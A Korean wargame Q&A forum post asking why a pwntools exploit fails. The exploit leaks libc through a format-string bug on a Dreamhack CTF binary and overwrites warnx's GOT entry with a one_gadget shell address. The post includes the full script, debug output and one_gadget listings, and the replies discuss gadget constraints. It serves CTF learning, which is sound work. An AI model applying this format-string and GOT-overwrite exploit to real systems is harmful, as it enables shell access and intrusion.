fmtstr과 onegadget를 이용한 풀이 질문
from pwn import *
context.log_level = 'debug'
def send_payload(payload):
    print r.sendline(payload)

r = remote("host1.dreamhack.games", 8377)
libc = ELF('./libc.so.6')
e = ELF('./string')

printf_got = e.got['printf']
warnx_got = e.got['warnx']
printf_offset = libc.symbols['printf']
one_gadget = 0x3a80c
payload = ""
payload += p32(printf_got)
payload += '%x%x%x%x.%s'

print r.recvuntil("> ")
r.sendline("1")
print r.recvuntil("Input: ")
r.sendline(payload)
print r.recvuntil("> ")
r.sendline("2")
print r.recvuntil(".")
printf_libc = u32(r.recv(4))
print hex(printf_libc)
libc_base = printf_libc - printf_offset
one_gadget_libc = libc_base + one_gadget

fmt = FmtStr(send_payload, offset = 5)

print r.recvuntil('> ')
r.sendline('1')
print r.recvuntil('Input: ')

fmt.write(warnx_got, one_gadget_libc)
fmt.execute_writes()

print hex(one_gadget_libc)
print r.recvuntil('> ')
r.sendline('2')
print r.recvuntil('> ')
r.sendline('2')
r.interactive()

포멧 스트링 버그를 이용하면 되므로 처음엔 p32(printf_got)+%x%x%x%x.%s를 통해 printf의 라이브러리 주소와 libc_base값을 leak 했고 이를 이용해 one_gadget의주소를 구했습니다.
그 후 fmtstr을 이용해 print함수 내부의warnx의 got를 one_gadget의 주소로 덮어씌웠습니다.

하지만

1. Input
2. Print
3. Exit
> 
[DEBUG] Sent 0x2 bytes:
    '2\n'

[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
$ id
[DEBUG] Sent 0x3 bytes:
    'id\n'
[*] Closed connection to host1.dreamhack.games port 8377
[*] Got EOF while sending in interactive

와 같이 셸이 실행되지 않고 종료되었습니다.
warnx함수가 실행되지 않은걸로 보아 warnx의 got주소는 잘 덮어씌워진 것으로 보입니다.
one_gadget의 라이브러리 주소를 구할 때 문제가 있는 건가요?

User@DESKTOP-A0EPTKG:~/CTF$ one_gadget ./libc.so.6 
0x3a80c execve("/bin/sh", esp+0x28, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x28] == NULL

0x3a80e execve("/bin/sh", esp+0x2c, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x2c] == NULL

0x3a812 execve("/bin/sh", esp+0x30, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x30] == NULL

0x3a819 execve("/bin/sh", esp+0x34, environ)
constraints:
  esi is the GOT address of libc
  [esp+0x34] == NULL

0x5f065 execl("/bin/sh", eax)
constraints:
  esi is the GOT address of libc
  eax == NULL

0x5f066 execl("/bin/sh", [esp])
constraints:
  esi is the GOT address of libc
  [esp] == NULL

one_gadget의 offset은 이렇게 구했고 6개의 offset 모두 다 위와 같은 결과였습니다.

#pwnable
작성자 정보
답변 2
bob8gook
워게임: 50

그게 문제일수도 있고, 상수 조건이 안맞을 수도 있고요.
저는 리턴어드레스를 수정하는 방식으로 풀었지만 똑같이 원가젯을 이용했는데요.
상수조건이 다 안맞아서 제가 임의로 조건을 맞춰주니까 쉘이 실행되더라구요.

2020.11.13. 02:12
avatar
마리마리
강의 수강: 10

원가젯 다 터지는게 맞네요
원가젯으로 꼼수 쓰지 말고 got덮어쓰기 더 공부해야겠내요

2021.03.28. 00:38
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기